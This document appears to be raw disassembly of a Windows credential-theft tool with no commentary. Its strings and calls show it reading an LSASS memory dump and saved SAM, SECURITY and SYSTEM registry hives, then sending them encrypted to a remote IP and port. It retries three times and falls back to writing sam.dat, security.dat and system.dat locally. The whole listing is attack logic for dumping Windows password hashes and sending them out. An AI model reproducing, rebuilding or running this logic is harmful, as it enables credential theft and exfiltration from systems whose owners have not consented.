call qword [sym.imp.KERNEL32.dll_Sleep]
mov r15d, dword [rbp + 0x2d50]
mov edi, esi
nop word [rax + rax]
mov r9d, r15d
lea rcx, [rbp - 0x68]
mov r8, r13
mov edx, ebx
call fcn.140001cd0
test eax, eax
jne 0x140004251
lea rcx, str._i__Retrying..._n
call fcn.140001010
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jl 0x140004210
jne 0x140004251
lea rcx, str.____Failed_to_Transfer_SAM_Save__Saving_Locally_Instead._n
jmp 0x140004310
lea rcx, str._i__Sending_Encrypted_SECURITY_Save..._n
call fcn.140001010
mov ecx, dword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, esi
nop dword [rax + rax]
mov r9d, dword [rbp + 0x2d58]
lea rcx, [rbp - 0x68]
mov r8, r14
mov edx, ebx
call fcn.140001cd0
test eax, eax
jne 0x1400042b2
lea rcx, str._i__Retrying..._n
call fcn.140001010
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jl 0x140004270
jne 0x1400042b2
lea rcx, str.____Failed_to_Transfer_SECURITY_Save__Saving_Locally_Instead._n
jmp 0x140004310
lea rcx, str._i__Sending_Encrypted_SYSTEM_Save..._n
call fcn.140001010
mov ecx, dword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, esi
nop dword [rax]
mov r9d, dword [rsp + 0x5c]
lea rcx, [rbp - 0x68]
mov r8, qword [rsp + 0x48]
mov edx, ebx
call fcn.140001cd0
test eax, eax
jne 0x140004331
lea rcx, str._i__Retrying..._n
call fcn.140001010
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jl 0x1400042d0
jne 0x140004331
lea rcx, str.____Failed_to_Transfer_SYSTEM_Save__Saving_Locally_Instead._n
call fcn.140001010
mov r12, qword [rsp + 0x40]
test r12, r12
je 0x1400044b7
jmp 0x140004432
mov r15d, dword [rbp + 0x2d50]
jmp 0x140004336
mov rax, qword [rsp + 0x48]
cmp qword [rsp + 0x40], rsi
je 0x140003f37
test r13, r13
je 0x1400043ba
test r14, r14
je 0x1400043ba
test rax, rax
je 0x1400043ba
mov eax, 0x10624dd3
lea rcx, str._i__Waiting__d_Seconds_For_Previous_Data_Transfer_to_Complete..._n
mul dword [rbp - 0x28]
shr edx, 6
call fcn.140001010
lea rcx, str._i__Press_Enter_to_Skip_n
call fcn.140001010
mov edi, esi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__kbhit]
test eax, eax
jne 0x1400043aa
mov r15d, dword [rbp - 0x28]
cmp edi, r15d
jge 0x1400043a3
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add edi, 0x1f4
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__kbhit]
test eax, eax
je 0x140004383
mov r15d, dword [rbp + 0x2d50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__kbhit]
test eax, eax
je 0x1400043ba
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
lea rcx, str._i__Sending_Encrypted_LSASS_Dump..._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov edi, esi
nop dword [rax]
mov r9d, dword [rsp + 0x6c]
lea rcx, [rbp - 0x68]
mov r8, qword [rsp + 0x40]
mov edx, ebx
call fcn.140001cd0
test eax, eax
jne 0x140003f21
lea rcx, str._i__Retrying..._n
call fcn.140001010
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jl 0x1400043e0
jne 0x140003f21
lea rcx, str.____Failed_to_Transfer_LSASS_Dump__Saving_Locally_Instead._n
call fcn.140001010
mov r12, qword [rsp + 0x40]
mov rcx, qword [rbp + 8]
lea rdx, [0x140006c88]
mov edi, dword [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x14000446a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbp + 8]
lea rcx, str.____Error_opening_file__s:__ld_n
mov r8d, eax
call fcn.140001010
jmp 0x1400044b7
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, rdi
je 0x14000449e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbp + 8]
lea rcx, str.____Error_Writing_to_File__s:__ld_n
mov r8d, eax
call fcn.140001010
jmp 0x1400044ae
mov rdx, qword [rbp + 8]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r13, r13
je 0x140003fb0
test r14, r14
je 0x140003fb0
mov r12, qword [rsp + 0x48]
test r12, r12
je 0x140003fb0
mov edx, 0x104
lea rcx, [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__getcwd]
test eax, eax
jne 0x14000450a
lea rcx, str.____Unable_to_Get_Current_Directory__n
call fcn.140001010
lea rcx, [rbp + 0xa0]
call fcn.140001a00
jmp 0x140002da7
lea r8, [rbp + 0x120]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x450]
call fcn.140001ed0
lea r8, [rbp + 0x120]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x340]
call fcn.140001ed0
lea r8, [rbp + 0x120]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x230]
call fcn.140001ed0
mov edx, r15d
lea r8, [rbp + 0x450]
mov r9d, 1
mov rcx, r13
call fcn.140001b90
mov edx, dword [rbp + 0x2d58]
lea r8, [rbp + 0x340]
mov r9d, 1
mov rcx, r14
call fcn.140001b90
mov edx, dword [rsp + 0x5c]
lea r8, [rbp + 0x230]
mov r9d, 1
mov rcx, r12
call fcn.140001b90
lea rcx, [rbp + 0xa0]
call fcn.140001a00
jmp 0x140002da7
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.____Failed_to_Parse_IP_and_Port__Saving_Locally_Instead._n
call fcn.140001010
mov r15, qword [rsp + 0x40]
mov r9d, 1
mov edx, dword [rsp + 0x6c]
mov rcx, r15
mov r8, qword [rbp + 8]
call fcn.140001b90
lea rcx, [rbp + 0xa0]
call fcn.140001a00
mov r12, qword [rsp + 0x48]
jmp 0x140002dac
lea rcx, str.____Unable_to_Read_LSASS_Dump
call fcn.140001010
jmp 0x140002da1
mov r12, rsi
mov r15, rbx
jmp 0x140002dac
mov r12, rsi
jmp 0x140002dac